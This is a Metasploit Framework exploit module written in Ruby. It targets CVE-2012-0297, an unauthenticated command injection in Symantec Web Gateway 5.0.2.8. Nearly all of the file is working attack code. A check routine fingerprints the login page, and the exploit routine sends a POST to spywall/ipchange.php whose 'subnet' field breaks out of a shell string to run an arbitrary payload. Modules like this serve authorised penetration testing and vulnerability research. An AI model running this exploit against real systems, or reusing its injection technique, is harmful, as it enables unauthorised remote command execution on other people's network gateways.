##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection",
   'Description'    => %q{
     This module exploits a command injection vulnerability found in Symantec Web
    Gateway's HTTP service due to the insecure usage of the exec() function. This module
    abuses the spywall/ipchange.php file to execute arbitrary OS commands without
    authentication.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Tenable Network Security', # Vulnerability Discovery
     'juan vazquez' # Metasploit module
    ],
   'References'     =>
    [
     [ 'CVE', '2012-0297' ],
     [ 'BID', '53444' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-090' ],
     [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ]
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00\x0d\x0a\x26",
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl',
      }
    },
   'Platform'       => ['unix'],
   'Arch'           => ARCH_CMD,
   'Targets'        =>
    [
     ['Symantec Web Gateway 5.0.2.8', {}],
    ],
   'Privileged'     => false,
   'DisclosureDate' => "May 17 2012",
   'DefaultTarget'  => 0))
 end

 def check
  res = send_request_raw({
   'method' => 'GET',
   'uri'    => '/spywall/login.php'
  })

  if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
   return Exploit::CheckCode::Detected
  else
   return Exploit::CheckCode::Safe
  end
 end

 def exploit
  uri = target_uri.path
  uri << '/' if uri[-1,1] != '/'

  peer = "#{rhost}:#{rport}"

  post_data = "subnet="
  post_data << "\";" + payload.raw + ";#"

  print_status("#{peer} - Sending Command injection")
  res = send_request_cgi({
   'method' => 'POST',
   'uri'    => "#{uri}spywall/ipchange.php",
   'data'   => post_data
  })

  # If the server doesn't return the default redirection, probably
  # something is wrong
  if not res or res.code != 302 or res.headers['Location'] !~ /SW\/admin_config.php/
   print_error("#{peer} - Probably command not executed, aborting!")
   return
  end

 end

end